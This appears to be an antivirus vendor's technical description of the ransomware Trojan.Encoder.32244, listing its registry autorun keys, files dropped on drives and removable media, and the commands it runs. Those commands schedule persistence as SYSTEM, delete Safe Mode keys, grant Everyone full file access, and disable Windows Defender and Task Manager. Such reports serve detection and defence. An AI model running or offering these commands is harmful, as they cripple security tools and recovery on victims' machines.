Trojan.Encoder.32244

Technical Information

To ensure autorun and distribution

Modifies the following registry keys

[<HKLM>\SOFTWARE\Microsoft\Windows\CurrentVersion\Run] 'PhoenixTechnology' = '%PROGRAMDATA%\XINOF.exe'
[<HKCU>\SOFTWARE\Microsoft\Windows\CurrentVersion\Run] 'PhoenixTechnology' = '%PROGRAMDATA%\XINOF.exe'
[<HKLM>\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce] 'PhoenixTechnology' = '%PROGRAMDATA%\XINOF.exe'
[<HKCU>\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce] 'PhoenixTechnology' = '%PROGRAMDATA%\XINOF.exe'

Creates or modifies the following files

<SYSTEM32>\tasks\fonix

Creates the following files on removable media

<Drive name for removable media>:\how to decrypt files.hta
<Drive name for removable media>:\wrar520.exe
<Drive name for removable media>:\dotnetfx45_full_setup.exe
<Drive name for removable media>:\winmine.exe
<Drive name for removable media>:\chromesetup.exe
<Drive name for removable media>:\jre-7u75-windows-i586-iftw.exe
<Drive name for removable media>:\iisstart.htm
<Drive name for removable media>:\ituneshelpunavailable.htm
<Drive name for removable media>:\alert.htm
<Drive name for removable media>:\skypesetup.exe
<Drive name for removable media>:\calc.exe
<Drive name for removable media>:\about.htm
<Drive name for removable media>:\trivial-merge.htm
<Drive name for removable media>:\trivial-merge.html
<Drive name for removable media>:\howto-index.html
<Drive name for removable media>:\alert.html
<Drive name for removable media>:\adadsi.html
<Drive name for removable media>:\1189.jpeg
<Drive name for removable media>:\3.jpeg
<Drive name for removable media>:\pushkin.jpeg
<Drive name for removable media>:\advice_process.htm
<Drive name for removable media>:\tree_view.htm
<Drive name for removable media>:\adhd_and_obesity.docx
<Drive name for removable media>:\holycrosschurchinstructions.docx
<Drive name for removable media>:\issi2013_template_for_posters.docx
<Drive name for removable media>:\cpriv.key
<Drive name for removable media>:\join.avi
<Drive name for removable media>:\000814251_video_01.avi
<Drive name for removable media>:\default.bmp
<Drive name for removable media>:\coffee.bmp
<Drive name for removable media>:\dashborder_144.bmp
<Drive name for removable media>:\dashborder_192.bmp
<Drive name for removable media>:\contosoroot_1.cer
<Drive name for removable media>:\sdkfailsafeemulator.cer
<Drive name for removable media>:\help.txt
<Drive name for removable media>:\sdksampleunprivdeveloper.cer
<Drive name for removable media>:\testcertificate.cer
<Drive name for removable media>:\pmd.cer
<Drive name for removable media>:\508softwareandos.doc
<Drive name for removable media>:\ovp25012015.doc
<Drive name for removable media>:\hanni_umami_chapter.doc
<Drive name for removable media>:\fi51.doc
<Drive name for removable media>:\applicantform_en.doc
<Drive name for removable media>:\sdszfo.docx
<Drive name for removable media>:\file_p_00000000_1371597592.docx
<Drive name for removable media>:\contoso_1.cer
<Drive name for removable media>:\13.jpeg
<Drive name for removable media>:\210252809.jpeg

Malicious functions

To complicate detection of its presence in the operating system,

blocks execution of the following system utilities:

Windows Task Manager (Taskmgr)

modifies the following system settings:

[<HKCU>\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer] 'NoClose' = '00000001'
[<HKCU>\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer] 'StartMenuLogOff' = '00000001'

Modifies file system

Creates the following files

<Current directory>\cpriv.key
C:\far2\how to decrypt files.hta
C:\cpriv.key
C:\help.txt
C:\how to decrypt files.hta
D:\cpriv.key
D:\help.txt
D:\how to decrypt files.hta
C:\far2\help.txt
%PROGRAMDATA%\hello michaele gllips
%PROGRAMDATA%\how to decrypt files.hta
%PROGRAMDATA%\systemid
<Current directory>\systemid
%PROGRAMDATA%\crptsrvcflg
%PROGRAMDATA%\cpriv.key
%PROGRAMDATA%\cpub.key
<Current directory>\cpub.key
%PROGRAMDATA%\help.txt
C:\far2\cpriv.key

Creates ransom message files (Trojan.Encoder).

Modifies user data files (Trojan.Encoder).

Miscellaneous

Executes the following

'<SYSTEM32>\cmd.exe' /c schtasks /CREATE /SC ONLOGON /TN fonix /TR %PROGRAMDATA%\XINOF.exe /RU SYSTEM /RL HIGHEST /F
'<SYSTEM32>\cmd.exe' /c reg delete HKEY_CURRENT_USER\System\CurrentControlSet\Control\SafeBoot /va /F
'<SYSTEM32>\reg.exe' delete HKEY_CURRENT_USER\System\CurrentControlSet\Control\SafeBoot /va /F
'<SYSTEM32>\cmd.exe' /c reg delete HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\SafeBoot /va /F
'<SYSTEM32>\reg.exe' delete HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\SafeBoot /va /F
'<SYSTEM32>\cmd.exe' /c start cmd.exe /c icacls * /grant Everyone:(OI)(CI)F /T /C /Q
'<SYSTEM32>\cmd.exe' /c icacls * /grant Everyone:(OI)(CI)F /T /C /Q
'<SYSTEM32>\cmd.exe' /c Copy Cpub.key %PROGRAMDATA%\Cpub.key
'<SYSTEM32>\cmd.exe' /c reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v StartMenuLogOff /t REG_DWORD /d 1 /f
'<SYSTEM32>\cmd.exe' /c Copy SystemID %PROGRAMDATA%\SystemID
'<SYSTEM32>\cmd.exe' /c reg add HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\System /v AllowBlockingAppsAtShutdown /t REG_DWORD /d 1 /f
'<SYSTEM32>\reg.exe' add HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\System /v AllowBlockingAppsAtShutdown /t REG_DWORD /d 1 /f
'<SYSTEM32>\icacls.exe' * /grant Everyone:(OI)(CI)F /T /C /Q
'<SYSTEM32>\cmd.exe' /c reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoClose /t REG_DWORD /d 1 /f
'<SYSTEM32>\reg.exe' add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoClose /t REG_DWORD /d 1 /f
'<SYSTEM32>\reg.exe' add "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f
'<SYSTEM32>\cmd.exe' /c Copy Cpriv.key %PROGRAMDATA%\Cpriv.key
'<SYSTEM32>\cmd.exe' /c reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f
'<SYSTEM32>\cmd.exe' /c reg add HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\ /v "PhoenixTechnology" /t REG_SZ /d %PROGRAMDATA%\XINOF.exe /f
'<SYSTEM32>\schtasks.exe' /CREATE /SC ONLOGON /TN fonix /TR %PROGRAMDATA%\XINOF.exe /RU SYSTEM /RL HIGHEST /F
'<SYSTEM32>\cmd.exe' /c copy XINOF.exe %appdata%\Microsoft\Windows\Start Menu\Programs\Startup\XINOF.exe
'<SYSTEM32>\cmd.exe' /c attrib +h +s %APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\XINOF.exe
'<SYSTEM32>\attrib.exe' +h +s %APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\XINOF.exe
'<SYSTEM32>\cmd.exe' /c reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\ /v "PhoenixTechnology" /t REG_SZ /d %PROGRAMDATA%\XINOF.exe /f
'<SYSTEM32>\reg.exe' add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\ /v "PhoenixTechnology" /t REG_SZ /d %PROGRAMDATA%\XINOF.exe /f
'<SYSTEM32>\reg.exe' add HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\ /v "PhoenixTechnology" /t REG_SZ /d %PROGRAMDATA%\XINOF.exe /f
'<SYSTEM32>\cmd.exe' /c reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f
'<SYSTEM32>\cmd.exe' /c reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\ /v "PhoenixTechnology" /t REG_SZ /d %PROGRAMDATA%\XINOF.exe /f
'<SYSTEM32>\reg.exe' add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\ /v "PhoenixTechnology" /t REG_SZ /d %PROGRAMDATA%\XINOF.exe /f
'<SYSTEM32>\cmd.exe' /c reg add HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\ /v "PhoenixTechnology" /t REG_SZ /d %PROGRAMDATA%\XINOF.exe /f
'<SYSTEM32>\reg.exe' add HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\ /v "PhoenixTechnology" /t REG_SZ /d %PROGRAMDATA%\XINOF.exe /f
'<SYSTEM32>\cmd.exe' /c reg add HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f
'<SYSTEM32>\reg.exe' add HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f
'<SYSTEM32>\reg.exe' add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f
'<SYSTEM32>\reg.exe' add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v StartMenuLogOff /t REG_DWORD /d 1 /f

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